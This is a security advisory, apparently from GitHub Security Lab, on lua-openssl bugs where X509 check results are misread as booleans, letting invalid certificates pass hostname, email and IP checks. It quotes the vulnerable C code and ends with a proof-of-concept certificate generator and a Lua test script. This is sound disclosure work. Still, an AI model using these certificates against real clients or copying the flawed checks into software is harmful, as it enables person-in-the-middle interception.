March 12, 2020

GHSL-2020-026: Person in the middle attacks with lua-openssl

Agustin Gianni

Summary

Several security issues have been found in the way X509 certificate validation functions are exposed to LUA via the check_host function and others. Clients using said functions in lua-openssl are exposed to person-in-the-middle attacks.

Product

lua-openssl

Tested Version

All our tests were conducted on version 0.7.7-1.

Details

The X509_check_host function is part of a collection of functions used to match certain properties of certificates. They are used to check whether a certificate matches a given host name, email address, or IP address and are available since OpenSSL 1.0.2. In particular, the function X509_check_host checks if the certificate Subject Alternative Name (SAN) or Subject CommonName (CN) matches the specified host name.

These functions return 1 for a successful match, 0 for a failed match, -1 for an internal error, or -2 if the input is malformed.

Issue 1: Return value of X509_check_host is wrongly interpreted as a boolean (CVE-2020-9432)

As can be seen in the snippet, the return value of X509_check_host is used in the context of a boolean, that is, its integer return value is converted to a boolean value of 0 or 1. Converting integers to boolean values can be tricky since 0 and 1 map to false and true, but any other value, including negative integers, will map to true.

This issue makes it possible for an attacker to supply an invalid certificate that will fail to decode, that is, it will return -1, and the application will accept it as valid, regardless of the hostname.

static LUA_FUNCTION(openssl_x509_check_host)
{
  X509 * cert = CHECK_OBJECT(1, X509, "openssl.x509");
  if (lua_isstring(L, 2))
  {
    const char *hostname = lua_tostring(L, 2);
    lua_pushboolean(L, X509_check_host(cert, hostname, strlen(hostname), 0, NULL));
  }
  else
  {
    lua_pushboolean(L, 0);
  }
  return 1;
}

Issue 2: Return value of X509_check_email is wrongly interpreted as a boolean (CVE-2020-9433)

An identical problem can be found in the following snippet but now with the function X509_check_email.

static LUA_FUNCTION(openssl_x509_check_email)
{
  X509 * cert = CHECK_OBJECT(1, X509, "openssl.x509");
  if (lua_isstring(L, 2))
  {
    const char *email = lua_tostring(L, 2);
    lua_pushboolean(L, X509_check_email(cert, email, strlen(email), 0));
  }
  else
  {
    lua_pushboolean(L, 0);
  }
  return 1;
}

Issue 3: Return value of X509_check_ip_asc is wrongly interpreted as a boolean (CVE-2020-9434)

An identical problem can be found in the following snippet but now with the function X509_check_ip_asc.

static LUA_FUNCTION(openssl_x509_check_ip_asc)
{
  X509 * cert = CHECK_OBJECT(1, X509, "openssl.x509");
  if (lua_isstring(L, 2))
  {
    const char *ip_asc = lua_tostring(L, 2);
    lua_pushboolean(L, X509_check_ip_asc(cert, ip_asc, 0));
  }
  else
  {
    lua_pushboolean(L, 0);
  }
  return 1;
}

Impact

These issues may lead to "person in the middle" attacks in which an attacker can supplant the identity of the endpoint to which the client is connecting.

Remediation

We recommend that the three affected functions are rewritten in a way such that they only return a true value (the hostname/email/ip of the certificate is valid) when each of the corresponding functions return 1. In any other case the false value should be returned explicitly.

Patch can be found here https://github.com/zhaozg/lua-openssl/commit/a6dc186dd4b6b9e329a93cca3e7e3cfccfdf3cca

Coordinated Disclosure Timeline

This report is subject to our coordinated disclosure policy.

  • 02/27/2020: Report sent to Vendor
  • 02/27/2020: Vendor acknowledged report
  • 02/27/2020: Vendor proposed fixes
  • 02/27/2020: Fixes reviewed and verified
  • 02/27/2020: Report published to public

Supporting Resources

The following C++ file will generate a specially crafted X509 certificate with an invalid hostname. It will dump the file to the current directory with the name invalid_cert.pem.

// Compiling:
// export PKG_CONFIG_PATH="/usr/local/opt/openssl@1.1/lib/pkgconfig"
// clang++ create-invalid-certificate.cpp -o create-invalid-certificate -Wall $(pkg-config --libs --cflags openssl)
#include <cstdio>
#include <cassert>
#include <string>
#include <iostream>

#include <openssl/x509v3.h>
#include <openssl/pem.h>
#include <openssl/x509.h>
#include <random>

template <class T>
T get_random_int()
{
    static std::random_device rd;
    std::uniform_int_distribution<T> uniform_dist(std::numeric_limits<T>::min(), std::numeric_limits<T>::max());
    return uniform_dist(rd);
}

int main(int argc, char **argv)
{
    while (true)
    {
        // Create a new key.
        EVP_PKEY *pkey = EVP_PKEY_new();
        assert(pkey && "Could not create EVP_PKEY structure.");

        // Generate the key.
        RSA *rsa = RSA_new();
        assert(rsa && "Could not create RSA structure.");

        // Generate the key.
        BIGNUM *exponent = BN_new();
        BN_set_word(exponent, RSA_F4);
        RSA_generate_key_ex(rsa, 2048, exponent, nullptr);

        // Assign it.
        EVP_PKEY_assign_RSA(pkey, rsa);

        // Create the certificate.
        X509 *x509 = X509_new();
        assert(x509 && "Could not create X509 structure.");

        // Fill some required fields.
        ASN1_INTEGER_set(X509_get_serialNumber(x509), 0xcafecafe);
        X509_gmtime_adj(X509_get_notBefore(x509), 0);
        X509_gmtime_adj(X509_get_notAfter(x509), 0xdeadbeef);

        // Set the public key for our certificate.
        X509_set_pubkey(x509, pkey);

        unsigned data = get_random_int<unsigned>();

        // Populate the subject name.
        X509_NAME *name = X509_get_subject_name(x509);
        X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, (unsigned char *)"GH", -1, -1, 0);
        X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, (unsigned char *)"GitHub Security Lab", -1, -1, 0);
        X509_NAME_add_entry_by_txt(name, "CN",
                                   data & 0x1f,
                                   (unsigned char *)&data,
                                   sizeof(data),
                                   -1,
                                   0);

        // Now set the issuer name.
        X509_set_issuer_name(x509, name);

        // Sign the certificate.
        assert(X509_sign(x509, pkey, EVP_sha1()) && "Could not sign certificate.");

        if (X509_check_host(x509, "AAAAA", 0, 0, NULL) < 0)
        {
            printf("Found invalid certificate: 0x%.8x\n", data);
            printf("Saving it to invalid_cert.pem\n");

            FILE *x509_file = fopen("invalid_cert.pem", "wb");
            assert(x509_file && "Could not open invalid_cert.pem");

            PEM_write_X509(x509_file, x509);
            fclose(x509_file);

            break;
        }
    }

    return 0;
}

Once you have generated the invalid certificate, use the following LUA proof of concept that tries to validate the certificate against github.com.

local openssl = require('openssl')

function readAll(file)
    local f = assert(io.open(file, "rb"))
    local content = f:read("*all")
    f:close()
    return content
end

function test_x509()
    local certasstring = readAll("invalid_cert.pem")
    local x = openssl.x509.read(certasstring)
    print(x:check_host("github.com"))
end

test_x509()

Credit

This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).

Contact

You can contact the GHSL team at securitylab@github.com, please include the GHSL-YEAR-ID in any communication regarding this issue.